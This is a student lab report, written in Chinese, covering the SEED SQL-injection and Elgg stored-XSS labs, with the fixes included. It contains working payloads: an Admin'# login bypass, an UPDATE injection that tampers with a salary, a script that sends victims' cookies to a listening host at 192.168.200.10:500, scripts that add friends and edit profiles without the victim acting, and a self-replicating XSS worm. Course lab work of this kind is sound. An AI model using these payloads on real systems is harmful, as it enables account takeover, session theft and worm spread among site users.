20252809 2025-2026-2《网络攻防实践》实践十报告
20252809 2025-2026-2《网络攻防实践》实践十报告
1. 实践内容
本次实践围绕 Web 安全两大核心漏洞展开系统性攻防实验:
- SQL 注入攻击与防御:基于 SEED 实验室提供的员工管理系统,深入理解 SQL 注入漏洞的成因与利用方式,包括 SELECT 语句注入绕过身份验证、UPDATE 语句注入篡改敏感数据,以及通过参数化查询(Prepared Statements)从根本上修复漏洞。
- XSS 跨站脚本攻击与防御:以 Elgg 社交网络平台为靶场,完整实践存储型 XSS 的攻击链——从漏洞验证、Cookie 窃取、无感知操作(自动添加好友、篡改资料)到蠕虫传播,最终通过 HTMLawed 安全插件实现有效防御。
2. 实验环境准备
2.1 SEED 虚拟机部署
完成 SEED Ubuntu 虚拟机的导入与配置,确保实验环境正常运行。


2.2 安装 VMware Tools
在 Ubuntu 文件管理器中找到 VMware Tools 压缩包,复制到 home 目录后执行以下命令:
cd ~
pwd
tar -zxvf VMwareTools-10.3.26-22085142.tar.gz
cd vmware-tools-distrib
sudo ./vmware-install.pl

密码:
seed安装过程中直接按 Enter 键接受所有默认选项,遇到
yes/no提示时输入yes,直到终端出现Enjoy, --the VMware team即表示安装成功。
安装完成后可实现:
- 主机与虚拟机之间直接拖拽文件
- 双向复制粘贴文本
- 虚拟机窗口自适应分辨率
2.3 修改主机名
su -
# 密码:seedubuntu
hostname wch
hostname

重启虚拟机后即可显示更改后的主机名。
2.4 启动 Apache 服务
sudo service apache2 start
sudo service apache2 status

出现绿色的 active (running) 状态说明 Apache 服务正常运行。
2.5 登录数据库
mysql -u root -pseedubuntu

出现 mysql> 提示符即表示数据库连接成功。
3. 实验过程
任务一:SQL 注入与防御实验
3.1 熟悉 SQL 语法
1. 查看所有数据库
SHOW DATABASES;
注意:SQL 语句末尾必须带英文分号
;。

确认存在 Users 数据库(实验用的员工数据均存储于此)。
2. 切换到 Users 数据库
USE Users;

后续所有操作均在此数据库中执行。
3. 查看数据库中的表
SHOW TABLES;

确认存在 credential 表(包含 ID、姓名、薪资、密码、SSN 等敏感字段)。
4. 查询 credential 表的所有员工数据
SELECT * FROM credential;

查看表中所有员工的完整信息,熟悉表结构与数据格式。
5. 查询指定用户 Alice 的信息
SELECT * FROM credential WHERE Name='Alice';

练习条件查询,为后续注入实验做准备。
6. 查询 ID 小于等于 3 的员工信息
SELECT * FROM credential WHERE ID <= 3;

3.2 SELECT 语句 SQL 注入攻击
1. 退出 MySQL 命令行
EXIT;
2. 访问靶场网站
打开 SEED 虚拟机自带的 Firefox 浏览器,地址栏输入:
http://www.SEEDLabSQLInjection.com

进入员工系统登录页面。
3. 查看页面源代码
在页面空白处右键选择 View Page Source,查看页面源代码。

分析可知:登录表单通过 GET 方法将数据提交至
unsafe_home.php处理。
4. 分析后端验证代码
cd /var/www/SQLInjection/
ls
gedit /var/www/SQLInjection/unsafe_home.php


漏洞分析:
后端代码直接将用户输入的 $input_uname 拼接到 SQL 语句中,未进行任何过滤或转义:
// 存在漏洞的代码片段
SELECT ... FROM credential WHERE name='$input_uname' AND Password='$hashed_pwd'
注入原理:
当输入 Admin'# 时,拼接后的 SQL 语句变为:
SELECT ... FROM credential WHERE name='Admin'#' AND Password='xxx'
'闭合了前面的字符串常量#是 MySQL 的单行注释符,将后续的AND Password='xxx'全部注释掉- 最终执行的 SQL 等效于
WHERE name='Admin',直接绕过了密码验证
5. 执行注入攻击
| 字段 | 输入值 |
|---|---|
| 用户名 | Admin'# |
| 密码 | (留空) |

点击登录后,无需输入正确密码即可直接以管理员 Admin 身份登录,成功查看到所有员工的薪资、SSN 等敏感信息,SELECT 语句的 SQL 注入攻击完成。
3.3 UPDATE 语句 SQL 注入攻击(篡改管理员薪资)
1. 用普通员工 Alice 账号登录
| 字段 | 值 |
|---|---|
| Username | Alice |
| Password | seedalice |

2. 进入 Edit Profile 页面
找到并进入 Edit Profile 页面(可通过 Ctrl + 鼠标滚轮 调整浏览器缩放比例以在上方显示)。

3. 分析后端代码
vim /var/www/SQLInjection/unsafe_edit_backend.php

后端直接将用户输入的
$input_nickname拼接到 UPDATE 语句中,未做任何过滤,这正是注入利用的关键点。
4. 构造并执行 UPDATE 注入
在 NickName 输入框中注入:
',Salary='20252809' WHERE name='Admin';#

拼接后的 SQL 语句:
UPDATE credential
SET nickname='',Salary='20252809' WHERE name='Admin';#',
email='xxx',address='xxx',PhoneNumber='xxx' WHERE ID=1;
Payload 解析:
| 部分 | 作用 |
|---|---|
' |
闭合 nickname='$input_nickname' 中的单引号 |
,Salary='20252809' WHERE name='Admin' |
注入新的 SET 子句,将 Admin 的薪资修改为 20252809 |
; |
结束当前 SQL 语句 |
# |
注释掉后续所有内容,避免语法错误 |
点击 Save 保存修改。
5. 验证篡改结果
退出 Alice 账号,使用 Admin'# 登录管理员账号,查看 Admin 的薪资信息,确认已变为 20252809。

3.4 修复 SQL 注入漏洞
1. 打开后端代码文件
vim /var/www/SQLInjection/unsafe_edit_backend.php
2. 定位漏洞代码
按 / 键,输入 UPDATE credential 并回车,跳转到两段拼接的 UPDATE 语句。

3. 修改为参数化查询
第一段(含密码修改):
$sql = $conn->prepare("UPDATE credential SET nickname=?, email=?, address=?, Password=?, PhoneNumber=? WHERE ID=?");
$sql->bind_param("sssssi", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber, $id);
$sql->execute();
第二段(不含密码修改):
$sql = $conn->prepare("UPDATE credential SET nickname=?, email=?, address=?, PhoneNumber=? WHERE ID=?");
$sql->bind_param("ssssi", $input_nickname, $input_email, $input_address, $input_phonenumber, $id);
$sql->execute();

按 Esc → 输入 :wq 回车保存修改。
4. 验证漏洞修复
- SELECT 注入修复验证:再次输入
Admin'#(用户名),密码留空,点击 Login,发现登录失败,无法绕过验证。

- UPDATE 注入修复验证:用 Alice 账号登录,在 NickName 输入框再次输入之前的 Payload,点击 Save,查看 Admin 薪资不再被篡改。

参数化查询将 SQL 代码与用户数据分离,从根本上杜绝了注入攻击的可能性。
任务二:SEED 存储型 XSS 跨站脚本攻击与防御实验
3.5 XSS 弹窗验证(漏洞存在性测试)
1. 登录 Elgg 靶场
使用 Alice 账号(密码:seedalice)登录 Elgg 靶场。

2. 进入个人资料编辑页面
点击账号名 Alice → Edit profile 进入个人资料编辑页面。

3. 注入弹窗代码
在 Brief description 输入框注入恶意代码:
<script>alert('XSS wch successful');</script>

4. 验证漏洞
点击 Save 保存,页面自动刷新并弹出警告窗口,存储型 XSS 漏洞验证成功。

3.6 弹窗获取用户 Cookie 信息
1. 注入获取 Cookie 的代码
清空 Alice 的 Brief description 原有内容,注入:
<script>alert('当前用户Cookie:' + document.cookie);</script>

2. 验证 Cookie 获取
保存后页面弹出包含当前用户会话 Cookie 的弹窗,证明可通过 XSS 获取用户敏感会话信息。

3.7 远程窃取受害者 Cookie
1. 查看虚拟机 IP
ifconfig

记录本机 IP:192.168.200.10
2. 开启端口监听
在终端开启 500 端口监听,等待接收 Cookie:
nc -l 500

3. 注入 Cookie 窃取代码
在 Alice 的 Brief description 中注入:
<script>document.write('<img src=http://192.168.200.10:500?c='+escape(document.cookie)+'>');</script>

4. 触发攻击
使用 Boby 账号登录 Elgg,访问 Alice 的个人主页。



5. 查看监听结果
查看监听终端,成功接收 Boby 的 Cookie 信息,完成远程会话 Cookie 窃取。

3.8 XSS 实现自动添加好友(无感知操作)
1. 分析添加好友请求
在 Boby 账号上点击 Members,按 F12 打开开发者工具 → Network,手动添加 Alice 为好友以捕获请求信息。


2. 注入自动加好友代码
清空 Boby 的 Brief description,将 About me 切换为 Edit HTML 模式,注入:
<script type="text/javascript">
window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
// 目标用户 ID(Samy 用户 ID 为 44)
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}
</script>

3. 验证自动加好友
登录 Samy 账号并访问 Boby 主页,发现 Samy 已与 Boby 成为好友,无需受害者干预,自动添加好友成功。


3.9 XSS 自动篡改用户个人信息
1. 注入信息篡改代码
<script type="text/javascript">
window.onload = function(){
var userName = elgg.session.user.name;
var guid = "&guid=" + elgg.session.user.guid;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var content = token + ts + "&name=" + userName + "&description=<p>已被 wch XSS 攻击篡改信息!</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
// Alice 用户 ID,排除自身
var aliceGuid = 44;
if(elgg.session.user.guid != aliceGuid){
var Ajax = new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

2. 验证信息篡改
使用 Boby 账号打开 Alice 主页,查看 Boby 个人资料,简介已被自动篡改,信息篡改攻击成功。

3.10 编写 XSS 蠕虫(自我复制与传播)
1. 构造蠕虫代码
将具备自我复制能力的 XSS 蠕虫代码放入 Alice 的 About me(Edit HTML) 并保存:
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id='worm' type='text/javascript'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName = elgg.session.user.name;
var guid = "&guid=" + elgg.session.user.guid;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var content = token + ts + "&name=" + userName + "&description=<p>已被 XSS 蠕虫感染!" + wormCode + "</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
// 排除蠕虫发布者 ID
var aliceGuid = 44;
if(elgg.session.user.guid != aliceGuid){
var Ajax = new XMLHttpRequest();
Ajax.open("POST", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

2. 验证蠕虫传播
- Boby 访问 Alice 主页 → 被感染
- Samy 访问 Boby 主页 → 被感染
蠕虫跨用户自动传播成功。

3.11 XSS 漏洞防御
1. 启用安全过滤插件
登录 Admin 账号(密码:seedelgg),点击右上角 Account → Administration → Plugins 进入插件管理页。

找到 HTMLawed 安全过滤插件,点击 Activate 启用(自动过滤恶意 HTML/JS 代码)。

2. 防御验证
- 经 HTMLawed 过滤后,原有恶意脚本被转义为不可执行的纯文本,浏览器仅作静态渲染
- 再次尝试植入攻击向量,输入层即被拦截净化,无法进入后续的存储与响应流程

4. 学习中遇到的问题及解决
问题 1:SEED 虚拟机终端粘贴失效
现象:任务二中的 XSS 代码较长,手动输入易出错,且难以定位是步骤错误还是代码错误。
解决方案:打开 SEED 虚拟机设置,在 CD/DVD 中导入 linux.iso,按照 2.2 节流程安装 VMware Tools,重启后即可实现复制粘贴。
问题 2:XSS 攻击时 Boby 访问 Alice 主页未看到篡改内容
现象:Boby 账号访问 Alice 主页时,没有看到被篡改的简历信息。
解决方案:退出 Alice 账号或重新刷新 Alice 主页即可正常显示篡改结果。
问题 3:文件只读,无法保存(E45: 'readonly' option is set)
现象:以普通用户权限打开 /var/www/ 下的文件,无写入权限,无法保存修改。
解决方案:使用 :wq! 强制覆盖保存,或直接用 sudo vim 以管理员权限打开文件。
问题 4:权限不足无法写入(E212: Can't open file for writing)
现象:普通用户对系统目录下的文件无修改权限,即使强制保存也失败。
解决方案:改用 sudo vim /var/www/xxx.php 以管理员权限打开文件,一次性解决权限问题。
5. 实践总结
本次实验围绕 Web 安全两大核心漏洞——SQL 注入与 XSS 跨站脚本——展开了系统性的攻防实践。
在 SQL 注入部分,从最基础的 SQL 语法熟悉开始,逐步深入到 SELECT 语句注入绕过登录验证、UPDATE 语句注入篡改管理员薪资,最终通过参数化查询(Prepared Statements)彻底修复漏洞。这一过程深刻体现了"用户输入不可信"的安全原则——任何来自用户的数据都必须经过严格校验,绝不能直接拼接到 SQL 语句中。参数化查询通过将 SQL 代码与数据分离,从根本上消除了注入攻击的可能性。
在 XSS 攻击部分,完整体验了存储型 XSS 从简单弹窗到复杂蠕虫传播的完整攻击链。从获取 Cookie、窃取会话信息,到无感知添加好友、自动篡改资料,再到编写具备自我复制能力的 XSS 蠕虫,每一步都直观展示了 XSS 的危害。最后通过启用 HTMLawed 过滤插件进行防御,验证了"输入过滤 + 输出编码"防御策略的有效性。
核心启示:Web 安全的本质在于信任边界的把控。任何来自用户的数据都必须经过严格的验证和过滤,绝不能直接拼接到代码或 SQL 语句中。本次实践不仅掌握了具体的攻击技术与防御手段,更重要的是建立了"攻击者思维",能够从安全角度审视 Web 应用的每一个输入点和输出点。
6. 致谢
感谢《网络攻防实践》课程王老师的悉心指导与耐心解答,同时也借鉴了叶姜琪和程宇同学的实验报告,为本次实验提供了清晰的思路框架与专业的技术支持。感谢 SEED 实验室提供的完整实验环境和靶场资源,使我们能够在安全可控的条件下开展 Web 渗透测试实践。同时感谢开源社区中 MySQL、Apache、Elgg 等优秀项目的开发者与维护者,正是这些成熟可靠的技术平台,为安全研究提供了坚实的技术基础。
7. 参考资料
[1] SEED Project. SEED Labs - SQL Injection Attack Lab. https://seedsecuritylabs.org/Labs_20.04/Software/Web_SQL_Injection/
[2] SEED Project. SEED Labs - XSS Attack Lab. https://seedsecuritylabs.org/Labs_20.04/Software/Web_XSS_Elgg/
[3] OWASP. SQL Injection Prevention Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
[4] OWASP. Cross Site Scripting (XSS) Prevention Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
[5] MySQL 官方文档. Prepared Statements. https://dev.mysql.com/doc/refman/8.0/en/sql-prepared-statements.html
[6] Elgg 官方网站. Elgg - Open Source Social Networking Engine. https://elgg.org/
[7] 诸葛建伟, 陈力波等. 《网络攻防技术与实践》. 电子工业出版社, 2017.
浙公网安备 33010602011771号